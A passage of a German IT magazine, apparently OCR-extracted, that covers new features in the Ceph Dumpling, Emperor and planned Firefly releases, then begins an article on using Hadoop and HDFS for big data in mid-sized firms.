Möglichkeit, einzelne Sites zu definieren. 

Zwischen diesen Sites kümmert sich das 

Ceph-Gateway dann um die Replikation. 

Einen tatsächlichen praktischen Nutzen 

hat das Feature der Site-Einteilung in 

Dumpling allerdings noch nicht – dieser 

gesellte sich im Emperor-Release hinzu: 

Zusammen mit Emperor erblickte 

nämlich der »radosgw‐agent« das Licht 

der Welt – spannenderweise 

wieder mit altem 

Namen. Der Agent 

nutzt die Einteilung in 

Sites und verwendet 

sie, um eine asynchrone 

Replikation 

zwischen mehreren 

Standorten zu etablieren. 

Zusammen schaffen 

also die beiden 

Features tatsächlich 

die Möglichkeit, mit 

Ceph über die Grenzen 

von einem einzelnen 

Rechenzentrum hinweg 

sinnvoll zu replizieren 

– eine Funktion, 

die sich einige Ceph- 

Anwender lange Zeit 

sehnlichst gewünscht 

haben. Bisher war es 

mit Ceph lediglich möglich, im Rahmen 

der CRUSH-Map die Server in zwei Rechenzentren 

entsprechenden Gruppen 

zuzuweisen. Weil Ceph per se aber nur 

die synchrone Replikation beherrscht, 

hat diese Art der Einteilung de facto 

keinen Unterschied gemacht. 

HTTP-basierte Konfiguration 

Ebenfalls in Dumpling hinzugekommen 

ist das Feature, das die Entwickler als 

»ReSTful‐basierte HTTP‐Konfiguration« 

bezeichnen. Wer zunächst an ein Web- 

Interface denkt, liegt damit allerdings 

daneben, denn gemeint ist hier in der 

Tat ein Konfigurationsmechanismus, 

der sich per ReSTful-Protokoll über eine 

eigens dafür in Ceph implementierte 

API ansteuern lässt. Die API kennt eigene 

Befehle, versucht sich in Sachen 

Syntax aber weitestgehend an die vom 

»ceph«-Programm gewohnten Konventionen 

zu halten. Die Lösung verfügt 

über einen eigenen Single-Threaded 

HTTP-Server, und letztlich dürfte diese 

Art der Ceph-Administration der Konfiguration 

über die Kommandozeile 

ebenbürtig sein. Beide Mechanismen 

wollen die Ceph-Entwickler jedenfalls 

Seite an Seite pflegen. 

Kleinvieh in Emperor 

Die Ceph-Version 0.72 alias »Emperor«, 

die im November erschienen ist, kam 

ohne pompöses Release-Announcement 

aus und widmete sich eher 

verschiedenen Details. Dazu gehören 

Performance-Improvements hier und 

da sowie verschiedene Optimierungen, 

was die Benutzbarkeit einzelner 

Dienste angeht. Die MONs können seit 

Emperor beispielsweise Nutzungsstatistiken 

basierend auf der Einteilung 

von Ceph in Pools ausgeben; obendrein 

warnen die MONs nun auch, wenn 

Pools mit einer Anzahl von Placement 

Groups angelegt werden, die technisch 

nicht sinnvoll ist. Im Ceph-Gateway 

lassen sich seit Emperor Quotas definieren, 

was eine echte Premiere in 

Ceph darstellt – bis jetzt waren Quotas 

allenfalls ein Wunsch in der Planung 

vieler Ceph-Nutzer. 

Quasi neben dem offiziellen Release- 

Cycle haben die Inktank-Entwickler auf 

dem Weg zu Emperor übrigens auch an 

anderen Projekten herumgeschraubt; 

Zeugnis davon legt das »tgt«-iSCSI- 

Target ab. Denn jenes kann nun über 

die »librados« unmittelbar und direkt 

mit Ceph sprechen, ohne den mühsamen 

Umweg über ein »rbd«-Device zu 

gehen. 

Was harmlos klingt, wirkt sich deutlich 

erkennbar auf die Benutzbarkeit von 

Ceph mit iSCSI aus: Der alte Mechanismus 

mit einem »rbd«-Device und darauf 

liegendem »tgt«-Target ermöglicht 

es nämlich beispielsweise nicht, das 

Target auf einem Host laufen zu lassen, 

der selbst Teil des Kernels ist. Eine 

Limitierung im Linux-Kernel würde bei 

solchen Setups unter hoher Last sporadisch 

zu Deadlocks führen (das Problem 

ist übrigens nicht Ceph-spezifisch 

sondern bezieht sich generell auf die 

sogenannten „Loopmounts“ und vergleichbare 

Konstrukte [3]). Durch die 

Änderungen an »tgt« fällt wie erwähnt 

der Umweg über den Kernel weg und 

das Problem erübrigt sich. 

Eine zusätzliche Neuerung in Emperor 

erfreut die Benutzer, die Ceph in der 

Kombination mit OpenStack einsetzen 

und Ceph dort insbesondere als Ersatz 

für OpenStacks eigenen Objektspeicher 

Swift nutzen. Swift unterstützt ja neben 

dem eigenen, nativen Protokoll auch 

Amazons S3 in ausreichend kompatibler 

Art und Weise. Das Ceph-Gateway, 


Know-how 

Ceph 

61 

das als ReSTful-Schnittstelle für Ceph 

dient, kennt ebenfalls beide Protokolle. 

Allerdings war die Anbindung des 

Ceph-Gateways an Keystone bis jetzt 

eher löchrig. Keystone ist die Komponente, 

die sich um die Authentifizierung 

von Nutzern in OpenStack kümmert. 

Das Ceph-Gateway konnte Keystone 

zwar nutzen, allerdings ließ es sich 

dann nur im Kompatibilitätsmodus für 

das Swift-eigene Protokoll verwenden 

– die Option, Amazons S3 ebenfalls 

anzubieten, fiel flach. Dieses Problem 

haben die Ceph-Entwickler in Emperor 

aber beseitigt: Das Ceph-Gateway in 

Emperor kann auf der einen Seite direkt 

mit Keystone verbunden sein und 

von dort seine Nutzerdaten beziehen, 

auf der anderen Seite aber sowohl das 

S3- wie auch das native Swift-Interface 

an die Außenwelt durchreichen. 

Insgesamt präsentiert sich Emperor 

insofern als stabiles Wartungsrelease 

ohne aufregende Neuerungen. 

Was Firefly bringt 

Angesichts der Tatsache, dass Ceph 

alles andere als Feature-complete ist, 

stellt sich freilich die Frage nach dem 

Next Big Thing. Tatsächlich werkeln die 

Ceph-Entwickler derzeit an zwei Features 

für die nächste Version („Firefly“), 

die Sensationspotenzial haben: Storage 

Tiering auf der einen und Erasure 

Coding auf der anderen Seite. Beide 

Technologien richten sich gezielt an 

Enterprise-Kunden – was bewirken sie, 

was wird durch sie besser? 

Am Erasure-Coding-Feature hätte zumindest 

eine deutsche Kleinpartei ihre 

helle Freude – letztlich geht es nämlich 

um nichts anderes als „Mehr Netto 

vom Brutto“. Gemeint ist freilich Speicherkapazität. 

Aktuelle Versionen von 

Ceph kranken an der Tatsache, dass 

sie Redundanz intern lediglich über 

die bloße Replikation binärer Objekte 

ermöglichen. Von jedem Objekt gibt 

es eine exakte Kopie an einer anderen 

Stelle im Cluster. 

Wer mehr als eine Replika pro Objekt 

haben möchte, verliert also effektiv 

jedes Mal einen sehr großen Teil an 

verfügbarer Speicherkapazität. Mit drei 

Replikas pro Objekt wird aus einem 

90-Terabyte-Cluster so ein deutlich 

kleinerer 30-Terabyte-Cluster. Dieses 

Verhalten ist insofern lästig, als im Storage-Umfeld 

ja durchaus schon fertige 

Lösungen dafür existieren, wie man das 

Problem eleganter löst: RAID-Systeme 

garantieren beispielsweise Redundanz 

ohne einen solch extremen Abfall der 

Nettokapazität. 

Erasure Coding soll die Möglichkeit in 

Ceph bringen, effektiver in Hinblick 

auf den vorhandenen Speicherplatz 

Redundanz zu gewährleisten. Eine genaue 

Beschreibung des Prinzips würde 

den Rahmen des Artikels sprengen, im 

Grundsatz funktioniert die Lösung aber 

so: Anstatt von binären Objekten ganze 

Replikas zu bauen, führt der Cluster ein 

System von Paritätsdaten ein und teilt 

die Daten anschließend in Chunks auf 

(Abbildung 3). Anhand der Paritätsdaten 

lässt sich über eine XOR-Tabelle die 

Platzierung einzelner Chunks errechnen. 

Das System ist den üblichen Mechanismen 

von RAID-Lösungen wie RAID 5 

also sehr ähnlich, freilich gibt es aber 

auch einen Pferdefuß: In Abhängigkeit 

von der gewählten Granularität fallen 

in einem Erasure-Coding-Szenario beim 

Recovery deutlich mehr Netzwerkzugriffe 

und auch mehr Traffic an, sodass 

der gesamte Vorgang unter Umständen 

mehr Zeit in Anspruch nimmt. Wer 

seine OSDs über eine 10-Gbit-Verbindung 

miteinander reden lässt, dürfte 

von diesem Effekt nichts spüren; in Betracht 

ziehen sollten Administratoren 

ihn aber dennoch. 

Der Nutzen des Erasure Coding ist im 

Vergleich jedenfalls kaum groß genug 

einzuschätzen. Wie der Upgrade-Pfad 

aussehen wird und ob oder wann es 

möglich sein wird, bestehende Installationen 

auf Erasure Coding zu ändern, 

stand zu Redaktionsschluss übrigens 

noch nicht fest. Dass das Feature in der 

Firefly-Version kommen wird, darf hingegen 

als sicher gelten – denn bereits 

Mitte Dezember waren die Alpha-Tester

62 

Know-how 

Ceph 

Abbildung 4: Auch an Kleinigkeiten schrauben die Ceph-Entwickler bisweilen herum; die Anzeige des Watchmodes 

von »ceph« hat sich über die letzten Versionen mehrere Male geändert. Hier: Emperor. 

n Info 

fleißig bei der Arbeit. Das ist insofern 

beruhigend, als dass Erasure Coding 

einige Umbauarbeiten im Code von 

Ceph erfordert; offenbar geht man 

bei Inktank auf Nummer sicher. Loic 

Dachary von Cloudwatt, der maßgeblich 

für das Erasure-Coding-Feature 

verantwortlich ist, ist als Speaker regelmäßig 

bei den Ceph-Days anwesend. 

Wer ihn also persönlich zum Thema 

befragen will, hat im Rahmen dieser 

Veranstaltungen die Möglichkeit dazu. 

Tiering 

Und dann sollte freilich auch das 

Thema Tiering nicht unerwähnt bleiben. 

In der Storage-Welt genießt dieses 

mittlerweile hohe Priorität, denn es 

ist eine attraktive Lösung, „wichtige“ 

oder gerade benutzte Daten in einem 

schnellen Storage zwischenzuspeichern, 

während ältere, nicht mehr 

regelmäßig benötigte Daten durchaus 

auch auf langsameren Spinner-Disks 

liegen können. Angesichts der noch 





[1] GlusterFS-Vergleich: [http:// redhatstorage. 

redhat. com/ 2013/ 11/ 07/ red‐hat‐storage‐out 

performs‐ceph‐by‐more‐than‐3x‐for‐opensta 

ck‐cloud‐environments/] 

[2] Ceph-Deploy: [https:// github. com/ ceph/ 

ceph‐deploy] 

[3] HP zu Loopmounts: [http:// h10025. 

www1. hp. com/ ewfrf/ wc/ document? 

docname=c02073470& cc=at& dlc=en& lc=en] 

[4] Ceph-Github: [https:// github. com/ ceph/ ceph] 

[5] Ceph-Days: [http:// www. inktank. com/ 

CEPHdays/] 

immer heftigen Preise für Flash-basierten 

Speicher bietet Tierung auf der 

Storage-Ebene auch enormes Potenzial 

Kosten zu sparen. 

Ceph beherrscht Tiering im Ansatz ja 

eigentlich ohnehin schon seit etlichen 

Versionen. Denn über den von Ceph 

genutzten CRUSH-Algorithmus ist es 

problemlos möglich, verschiedene 

Pools in Ceph mit verschiedenen 

Speicherzielen zu verbinden. Ein Speicherpool 

namens »ssd« könnte also 

beispielsweise auf schnelles Storage 

zeigen, während ein Storage namens 

»sata« für Archivstorage gedacht wäre. 

In der Realität scheitert echtes Tiering 

in Ceph jedoch daran, dass die Daten 

im Moment nicht flexibel zwischen unterschiedlichen 

Tiering-Layern hin- und 

herwandern können. Es besteht also 

nicht die Möglichkeit, gerade genutzte 

Daten temporär auf das »ssd«-Storage 

auszulagern, um sie danach wieder auf 

die »sata«-Ebene zu verschieben. Tiering 

wird genau diese Möglichkeit bieten, 

und wie beim Erasure-Coding sind 

die Arbeiten an der Funktion bereits in 

vollem Gange (Abbildung 4). 

Und CephFS? 

Freilich darf in der Liste der Dinge, an 

denen gearbeitet wird, auch CephFS 

nicht fehlen: Der Stachel bei Sage 

Weil sitzt schon insofern tief, als dass 

CephFS jene Komponente ist, die von 

ihm nur das Prädikat „almost awesome“ 

erhält. Bei CephFS ist entgegen 

aller Unkenrufe in den letzten Monaten 

viel passiert: Kopfschmerzen bereiten 

den Entwicklern derzeit eigentlich nur 

Setups, in denen der Metadaten-Service 

in skaliertem Zustand vorkommt. 

Grundsätzlich funktioniert ein CephFS 

ja auch mit einem einzelnen Metadaten-Server, 

aber der kriegt dann die 

gesamte Last aller Zugriffe 

ab. Über die Einteilung in 

eigene Subtrees für spezifische 

Metadaten-Bereiche 

lässt sich das verhindern: 

Dann gibt es einfach mehrere 

Metadaten-Server, die 

unterschiedliche Bereiche 

des Trees abackern. So stabil 

wie gewollt ist das allerdings 

noch nicht. Wann mit 

einer CephFS-Version 1.0 zu rechnen 

ist, ist derzeit noch nicht absehbar. 

Release im Februar 

Nachdem Sage Weil beschlossen hat, 

einen »Continous Release Cycle« von 

drei Monaten für Ceph anzuwenden, 

steht die nächste Release, mit dem 

Codenamen Firefly, im Februar 2014 

an. Seit der Einführung dieses Release- 

Schemas war Weil stets gut darin, den 

Zeitplan auch einzuhalten. Falls nichts 

dazwischen kommt, dürfte ein Firefly 

mit Support für Erasure Coding und 

Tiering also schon bald zur Verfügung 

stehen. 

Mit der Firefly-Release nimmt Inktank 

übrigens auch die Business-Kunden 

noch stärker ins Visier, als es ohnehin 

schon der Fall war: Die Version soll die 

erste echte »Long Term Support«-Version 

werden, für die Inktank mehrere 

Jahre Unterstützung verspricht. Gerade 

im Storage-Umfeld, in dem der Lebenszyklus 

einer Speicherlösung fast immer 

auf 5 Jahre angelegt ist (weil bei SAN- 

Storages nach dieser Zeit die Garantie 

endet), ist das ein wichtiger Faktor und 

gibt Planern Sicherheit. Wer einen ersten 

Blick auf Firefly werfen will, kann 

das bereits tun – auf GitHub finden sich 

die passenden Dateien [4]. 

Übrigens: Inktank plant auch in 

Deutschland einen Ceph-Day, der dem 

Vernehmen nach in Frankfurt stattfinden 

wird. Genauere Details waren 

vorab leider noch nicht zu bekommen, 

sobald sie aber verfügbar sind, dürften 

sie aber auf [5] erscheinen, sodass 

sich ein gelegentlicher Blick auf diese 

Seite sicherlich lohnt. Wer also einmal 

Sage Weil treffen möchte, der hat im 

Rahmen eines solchen Ceph-Days dazu 

jedenfalls in aller Regel auch die Möglichkeit. 

(jcb) n 


64 

Know-how 

Hadoop 

Roman Gorielov, 123RF 

Big Data für den Mittelstand 

Rechenkünstler 

Big Data ist in aller Munde und Hadoop gewinnt an Boden, wenn auch bisher vorwiegend als ein verteiltes 

Dateisystem. MapReduce, die Datenverarbeitungs-Engine in Hadoop 1, erscheint vielen noch als zu kompliziert 

und zu unflexibel. Hadoop 2.x verspricht, Abhilfe zu schaffen. Anna Kobylinska und Filipe Martins 

Alle Unternehmen, von kleinen Webshops 

bis hin zu multinationalen 

Großkonzernen, sammeln detaillierte 

Daten über das Tagesgeschehen, wenn 

auch zum Teil ungewollt. Das reicht 

von Kaufvorgängen über die Wirkung 

von Marketing-Initiativen bis hin zu den 

Social-Media-Aktivitäten des Unternehmens. 

Diese riesige Menge unstrukturierter 

Daten – Big Data – verspricht 

wertvolle Einblicke und reichlich Material 

für die Entscheidungsfindung zu 

liefern. Wer davon profitieren möchte, 

muss sich der Herausforderung Big 

Data stellen. 

SQL, NoSQL, Hadoop 

Konventionelle Big-Data-Lösungen 

schleppen mit sich die Altlasten eines 

Ökosystems herum, das rund um eine 

Datenbank – sei es SQL oder NoSQL 

– aufgebaut ist. Astronomische Lizenzkosten 

positionieren sie praktisch 

außerhalb der Reichweite mittlerer Un- 

ternehmen, und das erst recht, wenn 

Hochverfügbarkeitsfeatures erwünscht 

sind. Den größten Flaschenhals stellt 

bei diesen Lösungen oft die Datenbank 

dar, denn sie lässt sich meist nur mit 

erheblichem administrativen Aufwand 

über die Grenzen einzelner Server 

hinaus skalieren. Herkömmliche Datenanalyse-Verfahren 

und relationale 

Datenbanken können hier an Grenzen 

stoßen. Sogar manche Cloud-Lösungen 

skalieren nicht ohne obligatorische 

Downtime. Ein möglicher Ausweg heißt 

Hadoop. 

Apache Hadoop ist ein Framework für 

die verteilte Verarbeitung vor allem 

unstrukturierter Daten auf Computer- 

Clustern. Hadoop macht es möglich, 

Rechenprozesse kostengünstig ablaufen 

zu lassen, und zwar sowohl onpremise 

auf Commodity-Hardware, in 

einem Rechenzentrum oder aber in der 

virtualisierten Umgebung eines Cloud- 

Dienstleisters. 

Besonderheiten von Hadoop 

Die Zugriffe auf eine gewöhnliche relationale 

Datenbank nutzen Abfragen 

in einem der vielen Dialekte der Standardsprache 

SQL (Structured Query 

Language). Beim Zugriff auf nicht-relationale 

Datenbanken sind neben SQL 

andere Abfragesprachen möglich (daher 

kommt der Begriff NoSQL). Hadoop 

fällt in keine dieser beiden Kategorien, 

denn es nutzt einfach gar keine Datenbank. 

Genau diesem Ansatz verdankt 

Hadoop seine Flexibilität und seine 

Robustheit. 

Hadoop besteht aus zwei Grundkomponenten: 

Zum einem dem verteilten 

Dateisystem Hadoop Distributed File 

System (HDFS), zum anderen einem 

verteilten, modularisierten Datenverarbeitungs-Framework. 

Dafür nutzt Hadoop 

1.x MapReduce. Hadoop 2.x setzt 

an dieser Stelle entweder MapReduce 

oder auch dessen Nachfolger YARN ein 

(siehe unten). 


Know-how 

Hadoop 

65 

Die Aufgabe von HDFS besteht darin, 

die Daten möglichst effizient und 

ausfallsicher aufzubewahren und möglichst 

flott bereitzustellen. 

Bei HDFS handelt es sich nicht um 

ein „clusterisiertes“, sondern um ein 

verteiltes Dateisystem: Es läuft auf 

mehreren Knoten in einem Netzwerk – 

aber ohne (teure) SAN-Lösung. HDFS ist 

dadurch sehr kosteneffizient. 

Das Datenverarbeitungs-Framework 

spricht mit dem Dateisystem, verwaltet 

Ressourcen und überwacht 

die Ausführung der Befehle, die eine 

Hadoop-kompatible Applikation an das 

Framework sendet. Diese Befehle bilden 

sogenannte Jobs. Die Jobs sind als 

einzelne winzige Java-Applikationen 

implementiert. 

Dank dieser Architektur lassen sich 

Workloads nicht nur über mehrere Knoten 

eines Computer-Clusters verteilen, 

sondern der Cluster selbst lässt sich 

umkonfigurieren, noch während er laufende 

Jobs ausführt. Daraus resultieren 

mehrere wichtige Vorteile. Erstens 

trumpft Hadoop mit der Fähigkeit auf, 

bedarfsgerecht und ohne Downtime 

zu skalieren. Diese Elastizität ist nicht 

nur dann von Nutzen, wenn die Datenmenge 

extrem zu- oder abnimmt, 

sondern auch dann, wenn der Termindruck 

die temporäre Bereitstellung zusätzlicher 

Rechenkapazitäten sinnvoll 

erscheinen lässt. 

Bei steigender Belastung aktiver Nodes 

können zusätzliche Nodes automatisch 

gestartet werden, zum Beispiel mit 

dem Amazon Autoscaling API in AWS. 

In diesem Fall überwacht die Wolke 

die Belastung der einzelnen Instanzen 

mithilfe von CloudWatch. Sobald die 

Bedingungen, die der Administrator 

vorgegeben hat, zutreffen, startet AWS 

automatisch neue Server-Instanzen, 

die sich in den Hadoop-Cluster integrieren, 

bei dem Ressourcen-Verwalter registrieren 

und schließlich Jobs zugeteilt 

bekommen. 

Darüber hinaus arbeitet Hadoop sehr 

Ressourcen-schonend, denn anstatt 

riesige Datenmengen kreuz und quer 

durch das Netz zwischen verschiedenen 

Nodes hin und her zu kopieren, wie 

es bei vielen RDBMS der Fall ist, sendet 

es vergleichsweise winzige Anweisun- 

gen genau dorthin, wo 

sich die betreffenden 

Daten bereits befinden. 

In einer Datenbank, 

die auf mehreren 

Servern läuft, werden 

die Daten in der Regel 

separat von der 

Software-Logik aufbewahrt, 

typischerweise 

auf verschiedenen 

Instanzen. Im Gegensatz 

dazu liegen in 

einem Hadoop-Cluster 

sowohl Daten als auch 

die Datenverarbeitungslogik 

auf jeder 

Maschine. Dadurch 

kann das Framework 

einzelne Jobs besonders 

effizient ausführen: 

jeweils auf der 

Instanz, auf der die betreffenden 

Daten lokal 

vorliegen. Die resultierende Redundanz 

verteilter Datenverarbeitung verbessert 

zudem die Robustheit des Clusters. 

Mit einer Vielzahl von kostenlosen wie 

auch kommerziellen Tools lässt sich 

Hadoop um zusätzliche Fähigkeiten 

erweitern. Mit der quelloffenen Applikation 

Apache Hive können Sie zum 

Beispiel SQL-Abfragen in MapReduce- 

Jobs übersetzen und Hadoop wie eine 

(verteilte!) SQL-Datenbank ansprechen. 

Gefragte Qualifikationen 

Wer die Entwicklungen im IT-Jobmarkt 

der USA als Messlatte für künftige 

Trends ansetzt, wird feststellen, dass 

der Bedarf nach Hadoop-Kompetenz 

nahezu explodiert (Abbildung 1). Kein 

Wunder, denn das Framework findet 

viele Einsatzgebiete in der Praxis. Auch 

in Deutschland mehren sich inzwischen 

Jobangebote rund um Big Data mit 

Hadoop. So suchte der Personaldienstleister 

Hays AG deutschlandweit Java- 

Entwickler, Softwarearchitekten und 

Systemadministratoren mit Apache- 

Hadoop-Kompetenzen für verschiedene 

Standorte. Die JobLeads GmbH 

versuchte im gleichen Zeitraum im 

Auftrag nicht näher benannter Kunden 

nahezu eine Hundertschaft Hadoopversierte 

IT-Fachkräfte zu rekrutieren. 

Abbildung 1: Trends auf dem Arbeitsmarkt in den USA versprechen 

Hadoop-versierten IT-Fachkräften eine leuchtende Zukunft. 

Laut einer Studie von IDC verzeichnet 

der weltweite Markt für Hadoop einen 

jährlichen Zuwachs von 60 Prozent. 

Allerdings stellte dieselbe Studie 

ebenfalls fest, dass sich dieses Wachstumstempo 

fast ausschließlich auf den 

Einsatz von Hadoop als elastischen und 

günstigen, verteilten Massenspeicher 

beschränkt. 

Im Bereich der Datenanalyse gehört 

Hadoop zwar zur Weltspitze, doch eben 

diese Funktionalität scheint in der Praxis 

oft brach zu liegen. Hadoop-Anwender 

mit geringeren Entwicklungskapazitäten 

neigen verständlicherweise 

dazu, ihre wachsenden Datenbestände 

kostengünstig in HDFS vorzuhalten und 

die Datenanalyse mit externen, wenn 

auch schwächeren Lösungen zu bewältigen. 

Der Grund dafür ist einleuchtend: 

MapReduce in Hadoop 1.x wird von 

vielen als zu kompliziert und zu unflexibel 

empfunden. Hadoop 2.x soll Abhilfe 

schaffen und dem leistungsstarken 

Big-Data-Framework zu einer größeren 

Verbreitung verhelfen. 

Einsatzgebiete und 

Anwendungsbeispiele 

Praktische Einsatzgebiete von Hadoop 

sind sehr vielfältig. Sie beinhalten die 

Analyse von Web-Clickstream-Daten 


Admin 

Ausgabe 02-2014

66 

Know-how 

Hadoop 

Abbildung 2: Die Media-Asset-Management-Plattform der österreichischen 

Red Bull Media House GmbH setzt auf HDFS auf. 

zur Optimierung der Konversionsrate, 

das Auswerten der Sensordaten eines 

Maschinenparks zur Optimierung von 

Produktionsprozessen oder von Server- 

Logdateien für eine verbesserte Sicherheit, 

das Erstellen von Vorhersagen 

auf der Basis von Geolocation-Daten, 

Data-Mining von Social-Media-Aktivitäten 

wie Twitter-Diskussionen oder 

Facebook-Likes für ein besseres Verständnis 

der eigenen Zielgruppe, statistische 

Aufbereitung von Such-Indizes 

und RFID-Daten – die Liste nimmt kein 

Ende. 

Banken und Versicherungen nutzen 

Applikationen auf Basis von Hadoop 

für die Bewertung von Kunden anhand 

ihrer Finanzhistorie mithilfe von Mustererkennungsalgorithmen. 

So können 

Finanzinstitute unter anderem dem 

Kreditkartenmissbrauch einen Riegel 

vorschieben und die Kreditwürdigkeit 

ihrer Kunden im Rahmen des Risikomanagements 

besser einschätzen. 

Im E-Commerce und in der Online- und 

mobilen Werbung kommt Hadoop 

beim Berechnen von Produktempfehlungen 

zum Einsatz. Das Verhalten 

eines Besuchers im eigenen Webshop 

und auf Social Media 

dient hier als Grundlage 

zum Erforschen 

seiner Präferenzen. 

Rechenzentren, Telcos 

und Webhoster nutzen 

Hadoop-basierte Lösungen, 

um Flaschenhälse 

oder Fehler in 

Netzwerken frühzeitig 

zu erkennen, indem sie 

den Netzwerkverkehr 

statistisch auswerten. 

Ein anderes Beispiel 

stellen Algorithmen 

zur Analyse der Bedeutung 

von Texten 

dar, die von Menschen 

verfasst wurden. So 

etwas setzen manche 

E-Commerce-Anbieter 

und Telekommunikationsdienstleister 

beim 

Auswerten von Kundenanfragen 

ein. 

Mit Lösungen auf Basis 

von Hadoop lassen 

sich auch mehrere verschiedene Datenquellen 

kombinieren und so multidimensionale 

Analysen erstellen. 

Zu den Vorreitern beim Einsatz von 

Hadoop für multidimensionale Datenanalyse 

zählt die Glücksspielindustrie. 

Denn Casinos sind besonders 

verwundbar: Im Betrugsfall können 

sie in wenigen Minuten sehr viel Geld 

verlieren. Analytics-Lösungen für Big 

Data haben sich bei der Betrugsermittlung 

und beim Erforschen der eigenen 

Zielgruppe mehr als bewährt. Dank 

Big Data können Casino-Betreiber fein 

granulierte Kundenprofile anfertigen. 

Alleine das Flamingo-Hotel von Caesars 

Entertainment in Las Vegas beschäftigt 

200 Big-Data-Analysten. Spezialisierte 

Analytics-Lösungen für die Glücksspielindustrie 

wie Kognitio (kognitio.com) 

setzen auf Hadoop auf. 

Spielchips, Kunden-Loyalitätskarten 

und sogar Spirituosenflaschen in Bars 

wie die bei Aria Hotel und Casino sind 

mit RFID-Tags ausgestattet. Diese Technologie 

erlaubt es, das Geschehen in 

Echtzeit zu verfolgen. Casinos nehmen 

all diese Messwerte als fein granulierte 

Daten konsequent unter die Lupe. 

„Casinos stellen die talentiertesten 

Kryptographen, Computer-Sicherheitsexperten 

und Spieltheoretiker ein“ sagt 

John Pironti, leitender Informationsrisikostratege 

des Datenschutzspezialisten 

Archer Technologies. Sicherheitstechnologien 

wie die Videoüberwachung 

oder RFID-Tracking produzieren 

riesige Datenmengen. Relevante Daten 

werden dabei niemals verworfen, denn 

sie sind einfach zu wertvoll. Auch hier 

kommt Hadoop zum Einsatz – und zwar 

als ein verteiltes Dateisystem. Während 

Casinos mit diesen Innovationen 

experimentieren, versuchen auch Unternehmen 

in anderen Branchen, diese 

Erfahrungen für ihr eigenes Geschäft zu 

nutzen. 

Auf Basis von Hadoop lassen sich 

maßgeschneiderte Lösungen programmieren, 

um Datenbestände effizienter 

zu verwalten. Ein Beispiel liefert das 

Media Asset Management der Red Bull 

Media House GmbH (Abbildung 2). Die 

deutsche ADACOR Hosting GmbH aus 

Essen stellte im Auftrag des österreichischen 

Unternehmens Red Bull Media 

House GmbH mehrere Lösungen für 

das Media Asset Management auf den 

Prüfstand. Die Aufgabe bestand darin, 

ein zentrales Repository von Inhalten 

wie Videoclips, Fotos und Audiodateien 

in verschiedenen Formaten und Qualitätsstufen 

zu schaffen, damit die Kunden 

jederzeit von überall her schnell 

und einfach auf diese Daten zugreifen 

konnten. 

Zu den Anforderungen zählte der 

Wunsch nach elastischer Skalierbarkeit 

ohne Wartungsfenster, minimalen Ausfallzeiten 

bei Hardware-Pannen, Datenreplikation, 

schneller Auslieferung 

der Daten, einer einfachen Verwaltung 

und einem besseren Kosten-Nutzen- 

Verhältnis als es Standardlösungen wie 

EMC-Storage bieten. In die engere Wahl 

kamen unter anderem NFS, GlusterFS, 

Lustre, Openfiler, CloudStore und 

schließlich das Hadoop Distributed File 

System (HDFS). 

Als erster Ansatz wurde NFS untersucht, 

ein in der Unix-Welt sehr 

verbreitetes, stabiles und bewährtes 

Dateisystem. NFS enttäuschte ADACOR 

durch unzureichende Performance 

und fehlende Features wie die nicht 



InklusIve: 


Debian-Version 7.2 

JAhRes-DVD 2013 

ALLe ArTIkeL des JAHres Auf eINer dVd 

INHALT 

■ Artikel zu Storage, Backup, 

Security, Monitoring, 

Virtualisierung u.v.m. 

■ Zum Lesen am Bildschirm 

oder Ausdrucken: PDF und 

HTML-Format 

■ Search Engine für 

Artikel-Volltext-Suche 

Jetzt gleich bestellen! 

www.admin-magazin.de/DVD2013 oder 089 - 99 34 11 - 00

68 

Know-how 

Hadoop 

vorhandene Datenreplikation. Auch die 

Verwaltung des verteilten Speichers 

hätte die resultierende Applikation 

übernehmen müssen. Der Aufwand 

wäre einfach zu groß gewesen. 

Als zweiter Kandidat kam GlusterFS 

unter die Lupe. Mit diesem Dateisystem 

hatte die ADACOR Hosting GmbH 

bereits in einem anderen Kontext gute 

Erfahrungen gemacht, vor allem im 

Hinblick auf die Performance. Mit steigender 

Anzahl der Knoten eines GlusterFS-Clusters 

nimmt der maximale 

Datendurchsatz zu. GlusterFS disqualifizierte 

sich jedoch in den Augen der 

Tester durch einen sehr hohen Verwaltungsaufwand 

und eine praxisfremde 

Skalierbarkeit mit obligatorischer 

Downtime. 

Lustre konnte sowohl im Hinblick auf 

die Performance, Skalierbarkeit als 

auch die komfortable Administration 

punkten. Doch auch diese Lösung hatte 

zum Zeitpunkt der Implementierung 

keine robuste Replikation vorzuweisen. 

Openfiler fiel aus der engeren Auswahl 

heraus, als das System mehrere Tage 

brauchte, um ein Rebuild von lediglich 

3 Terabyte Daten abzuschließen. Cloud- 

Store wurde von ADACOR aufgrund 

mangelnder Stabilität verworfen. 

Lediglich HDFS, das verteilte Dateisystem 

von Hadoop, konnte in allen Punkten 

überzeugen und die Kundenanforderungen 

am ehesten erfüllen. 

Big Data: eine Frage der 

Flexibilität 

Zu den beinahe unverwüstlichen Mythen, 

die sich in der IT-Industrie halten, 

zählt die Überzeugung, dass Big Data 

nur für Großunternehmen anwendbar 

oder bezahlbar sei. Der Mittelstand 

ist fast schon selbstverständlich fest 

davon überzeugt, dass ohne Datenbestände 

im Petabyte-Bereich ohnehin 

nicht von Big Data die Rede sein kann. 

Nichts könnte weiter von der Wahrheit 

entfernt sein. Auch wenn es sich „nur“ 

um Datenmengen von 10 oder 50 Terabyte 

handelt, bietet sich der Einsatz 

von Hadoop an. Bei Big Data handelt es 

sich nicht um eine bestimmte Datenmenge, 

sondern um das Fehlen einer 

Datenstruktur. 

Eigentlich besteht die Frage gar nicht 

darin, ob sich ein Unternehmen „bereits“ 

für Big Data qualifiziert. Viele 

Firmen haben allerdings zuvor noch 

eine ganz andere Herausforderung: 

ein Daten-Management-Problem. Ein 

unternehmenseigenes Data Warehouse 

stößt sehr schnell an die Kapazitätsgrenzen 

einer einzelnen Maschine. So 

sind zunächst isolierte Datensilos entstanden. 

Wer aus ihnen umsetzbare Erkenntnisse 

gewinnen möchte, braucht 

ein verteiltes Cluster-Dateisystem wie 

HDFS, das mit den Anforderungen 

mitwächst, und ein Framework wie 

Hadoop. 

Für den Mittelstand gibt es keine sachlichen 

oder finanziellen Gründe, um 

auf Big Data zu verzichten. Zugegeben: 

zu den lautstärksten Benutzern von 

Hadoop gehören einige der größten 

Namen aus der IT-, Social-Media- und 

Unterhaltungsindustrie, darunter Amazon 

Web Services, AOL, Apple, eBay, Facebook, 

Netflix und HP. Doch vor allem 

für kleinere Firmen mit schmalen Budgets 

kommt Hadoop 2.2.x wie gerufen: 

einfach zu programmieren, kostenfrei, 

plattformunabhängig und offen. 

Die größte Herausforderung beim 

